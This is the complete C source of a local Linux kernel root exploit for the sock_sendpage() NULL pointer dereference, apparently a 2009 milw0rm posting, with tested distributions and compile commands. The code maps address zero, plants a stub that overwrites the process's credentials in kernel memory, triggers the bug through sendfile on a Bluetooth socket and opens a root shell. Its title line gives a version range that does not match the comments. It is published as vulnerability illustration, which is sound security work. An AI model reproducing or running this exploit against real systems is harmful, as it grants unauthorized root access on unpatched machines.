kernel 2.4.4 to 2.4.37.4 From 2.6.0 to 2.5.30.4 local exploit

/*  

 *  Linux sock_sendpage() NULL pointer dereference  

 *  Copyright 2009 Ramon de Carvalho Valle <ramon@risesecurity.org>  

 *  

 *  This program is free software; you can redistribute it and/or modify  

 *  it under the terms of the GNU General Public License as published by  

 *  the Free Software Foundation; either version 2 of the License, or  

 *  (at your option) any later version.  

 *  

 *  This program is distributed in the hope that it will be useful,  

 *  but WITHOUT ANY WARRANTY; without even the implied warranty of  

 *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the  

 *  GNU General Public License for more details.  

 *  

 *  You should have received a copy of the GNU General Public License  

 *  along with this program; if not, write to the Free Software  

 *  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA  

 *  

 */ 

   

/*  

 * This exploit was written to illustrate the exploitability of this  

 * vulnerability[1], discovered by Tavis Ormandy and Julien Tinnes, on ppc  

 * and ppc64.  

 *  

 * This exploit makes use of the SELinux and the mmap_min_addr problem to  

 * exploit this vulnerability on Red Hat Enterprise Linux 5.3 and CentOS 5.3.  

 * The problem, first noticed by Brad Spengler, was described by Red Hat in  

 * Red Hat Knowledgebase article: Security-Enhanced Linux (SELinux) policy and  

 * the mmap_min_addr protection[2].  

 *  

 * Support for i386 and x86_64 was added for completeness. For a more complete  

 * implementation, refer to Brad Spengler's exploit[3], which also implements  

 * the personality trick[4] published by Tavis Ormandy and Julien Tinnes.  

 *  

 * Linux kernel versions from 2.4.4 to 2.4.37.4, and from 2.6.0 to 2.6.30.4  

 * are vulnerable.  

 *  

 * This exploit was tested on:  

 *  

 * CentOS 5.3 (2.6.18-128.7.1.el5) is not vulnerable  

 * CentOS 5.3 (2.6.18-128.4.1.el5)  

 * CentOS 5.3 (2.6.18-128.2.1.el5)  

 * CentOS 5.3 (2.6.18-128.1.16.el5)  

 * CentOS 5.3 (2.6.18-128.1.14.el5)  

 * CentOS 5.3 (2.6.18-128.1.10.el5)  

 * CentOS 5.3 (2.6.18-128.1.6.el5)  

 * CentOS 5.3 (2.6.18-128.1.1.el5)  

 * CentOS 5.3 (2.6.18-128.el5)  

 * CentOS 4.8 (2.6.9-89.0.9.EL) is not vulnerable  

 * CentOS 4.8 (2.6.9-89.0.7.EL)  

 * CentOS 4.8 (2.6.9-89.0.3.EL)  

 * CentOS 4.8 (2.6.9-89.EL)  

 * Red Hat Enterprise Linux 5.3 (2.6.18-128.7.1.el5) is not vulnerable  

 * Red Hat Enterprise Linux 5.3 (2.6.18-128.4.1.el5)  

 * Red Hat Enterprise Linux 5.3 (2.6.18-128.2.1.el5)  

 * Red Hat Enterprise Linux 5.3 (2.6.18-128.1.16.el5)  

 * Red Hat Enterprise Linux 5.3 (2.6.18-128.1.14.el5)  

 * Red Hat Enterprise Linux 5.3 (2.6.18-128.1.10.el5)  

 * Red Hat Enterprise Linux 5.3 (2.6.18-128.1.6.el5)  

 * Red Hat Enterprise Linux 5.3 (2.6.18-128.1.1.el5)  

 * Red Hat Enterprise Linux 5.3 (2.6.18-128.el5)  

 * Red Hat Enterprise Linux 4.8 (2.6.9-89.0.9.EL) is not vulnerable  

 * Red Hat Enterprise Linux 4.8 (2.6.9-89.0.7.EL)  

 * Red Hat Enterprise Linux 4.8 (2.6.9-89.0.3.EL)  

 * Red Hat Enterprise Linux 4.8 (2.6.9-89.EL)  

 * SUSE Linux Enterprise Server 11 (2.6.27.19-5)  

 * SUSE Linux Enterprise Server 10 SP2 (2.6.16.60-0.21)  

 * Ubuntu 8.10 (2.6.27-14) is not vulnerable  

 * Ubuntu 8.10 (2.6.27-11)  

 * Ubuntu 8.10 (2.6.27-9)  

 * Ubuntu 8.10 (2.6.27-7)  

 *  

 * For i386 and ppc, compile with the following command:  

 * gcc -Wall -o linux-sendpage linux-sendpage.c  

 *  

 * And for x86_64 and ppc64:  

 * gcc -Wall -m64 -o linux-sendpage linux-sendpage.c  

 *  

 * [1] http://blog.cr0.org/2009/08/linux-null-pointer-dereference-due-to.html  

 * [2] http://kbase.redhat.com/faq/docs/DOC-18042  

 * [3] http://www.grsecurity.net/~spender/wunderbar_emporium2.tgz  

 * [4] http://blog.cr0.org/2009/06/bypassing-linux-null-pointer.html  

 */ 

   

#include <stdio.h>  

#include <stdlib.h>  

#include <string.h>  

#include <sys/mman.h>  

#include <sys/sendfile.h>  

#include <sys/types.h>  

#include <sys/socket.h>  

#include <unistd.h>  

   

#if !defined(__always_inline)  

#define __always_inline inline __attribute__((always_inline))  

#endif  

   

#if defined(__i386__) || defined(__x86_64__)  

#if defined(__LP64__)  

static __always_inline unsigned long 

current_stack_pointer(void)  

{  

    unsigned long sp;  

   

    asm volatile ("movq %%rsp,%0; " : "=r" (sp));  

   

    return sp;  

}  

   

#else  

static __always_inline unsigned long 

current_stack_pointer(void)  

{  

    unsigned long sp;  

   

    asm volatile ("movl %%esp,%0" : "=r" (sp));  

   

    return sp;  

}  

   

#endif  

   

#elif defined(__powerpc__) || defined(__powerpc64__)  

static __always_inline unsigned long 

current_stack_pointer(void)  

{  

    unsigned long sp;  

   

    asm volatile ("mr %0,%%r1; " : "=r" (sp));  

   

    return sp;  

}  

   

#endif  

   

#if defined(__i386__) || defined(__x86_64__)  

#if defined(__LP64__)  

static __always_inline unsigned long 

current_task_struct(void)  

{  

    unsigned long task_struct;  

   

    asm volatile ("movq %%gs:(0),%0; " : "=r" (task_struct));  

   

    return task_struct;  

}  

   

#else  

#define TASK_RUNNING 0  

   

static __always_inline unsigned long 

current_task_struct(void)  

{  

    unsigned long task_struct, thread_info;  

   

    thread_info = current_stack_pointer() & ~(4096 - 1);  

   

    if (*(unsigned long *)thread_info >= 0xc0000000) {  

        task_struct = *(unsigned long *)thread_info;  

   

        /*  

         * The TASK_RUNNING is the only possible state for a process executing  

         * in user-space.  

         */ 

        if (*(unsigned long *)task_struct == TASK_RUNNING)  

            return task_struct;  

    }  

   

    /*  

     * Prior to the 2.6 kernel series, the task_struct was stored at the end  

     * of the kernel stack.  

     */ 

    task_struct = current_stack_pointer() & ~(8192 - 1);  

   

    if (*(unsigned long *)task_struct == TASK_RUNNING)  

        return task_struct;  

   

    thread_info = task_struct;  

   

    task_struct = *(unsigned long *)thread_info;  

   

    if (*(unsigned long *)task_struct == TASK_RUNNING)  

        return task_struct;  

   

    return -1;  

}  

   

#endif  

   

#elif defined(__powerpc__) || defined(__powerpc64__)  

#define TASK_RUNNING 0  

   

static __always_inline unsigned long 

current_task_struct(void)  

{  

    unsigned long task_struct, thread_info;  

   

#if defined(__LP64__)  

    task_struct = current_stack_pointer() & ~(16384 - 1);  

   

#else  

    task_struct = current_stack_pointer() & ~(8192 - 1);  

   

#endif  

   

    if (*(unsigned long *)task_struct == TASK_RUNNING)  

        return task_struct;  

   

    thread_info = task_struct;  

   

    task_struct = *(unsigned long *)thread_info;  

   

    if (*(unsigned long *)task_struct == TASK_RUNNING)  

        return task_struct;  

   

    return -1;  

}  

   

#endif  

   

#if defined(__i386__) || defined(__x86_64__)  

static unsigned long uid, gid;  

   

static int 

change_cred(void)  

{  

    unsigned int *task_struct;  

   

    task_struct = (unsigned int *)current_task_struct();  

   

    while (task_struct) {  

        if (task_struct[0] == uid && task_struct[1] == uid &&  

                task_struct[2] == uid && task_struct[3] == uid &&  

                task_struct[4] == gid && task_struct[5] == gid &&  

                task_struct[6] == gid && task_struct[7] == gid) {  

            task_struct[0] = task_struct[1] =  

            task_struct[2] = task_struct[3] =  

            task_struct[4] = task_struct[5] =  

            task_struct[6] = task_struct[7] = 0;  

            break;  

        }  

   

        task_struct++;  

    }  

   

    return -1;  

}  

   

#elif defined(__powerpc__) || defined(__powerpc64__)  

static int 

change_cred(void)  

{  

    unsigned int *task_struct;  

   

    task_struct = (unsigned int *)current_task_struct();  

   

    while (task_struct) {  

        if (!task_struct[0]) {  

            task_struct++;  

            continue;  

        }  

   

        if (task_struct[0] == task_struct[1] &&  

                task_struct[0] == task_struct[2] &&  

                task_struct[0] == task_struct[3] &&  

                task_struct[4] == task_struct[5] &&  

                task_struct[4] == task_struct[6] &&  

                task_struct[4] == task_struct[7]) {  

            task_struct[0] = task_struct[1] =  

            task_struct[2] = task_struct[3] =  

            task_struct[4] = task_struct[5] =  

            task_struct[6] = task_struct[7] = 0;  

            break;  

        }  

   

        task_struct++;  

    }  

   

    return -1;  

}  

   

#endif  

   

#define PAGE_SIZE getpagesize()  

   

int 

main(void)  

{  

    char *addr;  

    int out_fd, in_fd;  

    char template[] = "/tmp/tmp.XXXXXX";  

   

#if defined(__i386__) || defined(__x86_64__)  

    uid = getuid(), gid = getgid();  

   

#endif  

   

    if ((addr = mmap(NULL, 0x1000, PROT_EXEC|PROT_READ|PROT_WRITE, MAP_FIXED|  

            MAP_PRIVATE|MAP_ANONYMOUS, 0, 0)) == MAP_FAILED) {  

        perror("mmap");  

        exit(EXIT_FAILURE);  

    }  

   

#if defined(__i386__) || defined(__x86_64__)  

#if defined(__LP64__)  

    addr[0] = '\xff';  

    addr[1] = '\x24';  

    addr[2] = '\x25';  

    *(unsigned long *)&addr[3] = 8;  

    *(unsigned long *)&addr[8] = (unsigned long)change_cred;  

   

#else  

    addr[0] = '\xff';  

    addr[1] = '\x25';  

    *(unsigned long *)&addr[2] = 8;  

    *(unsigned long *)&addr[8] = (unsigned long)change_cred;  

   

#endif  

   

#elif defined(__powerpc__) || defined(__powerpc64__)  

#if defined(__LP64__)  

    /*  

     * The use of function descriptors by the Power 64-bit ELF ABI requires  

     * the use of a fake function descriptor.  

     */ 

    *(unsigned long *)&addr[0] = *(unsigned long *)change_cred;  

   

#else  

    addr[0] = '\x3f';  

    addr[1] = '\xe0';  

    *(unsigned short *)&addr[2] = (unsigned short)change_cred>>16;  

    addr[4] = '\x63';  

    addr[5] = '\xff';  

    *(unsigned short *)&addr[6] = (unsigned short)change_cred;  

    addr[8] = '\x7f';  

    addr[9] = '\xe9';  

    addr[10] = '\x03';  

    addr[11] = '\xa6';  

    addr[12] = '\x4e';  

    addr[13] = '\x80';  

    addr[14] = '\x04';  

    addr[15] = '\x20';  

   

#endif  

   

#endif  

   

    if ((out_fd = socket(PF_BLUETOOTH, SOCK_DGRAM, 0)) == -1) {  

        perror("socket");  

        exit(EXIT_FAILURE);  

    }  

   

    if ((in_fd = mkstemp(template)) == -1) {  

        perror("mkstemp");  

        exit(EXIT_FAILURE);  

    }  

   

    if(unlink(template) == -1) {  

        perror("unlink");  

        exit(EXIT_FAILURE);  

    }  

   

    if (ftruncate(in_fd, PAGE_SIZE) == -1) {  

        perror("ftruncate");  

        exit(EXIT_FAILURE);  

    }  

   

    sendfile(out_fd, in_fd, NULL, PAGE_SIZE);  

   

    execl("/bin/sh", "sh", "-i", NULL);  

   

    exit(EXIT_SUCCESS);  

}  

   

// milw0rm.com [2009-08-31]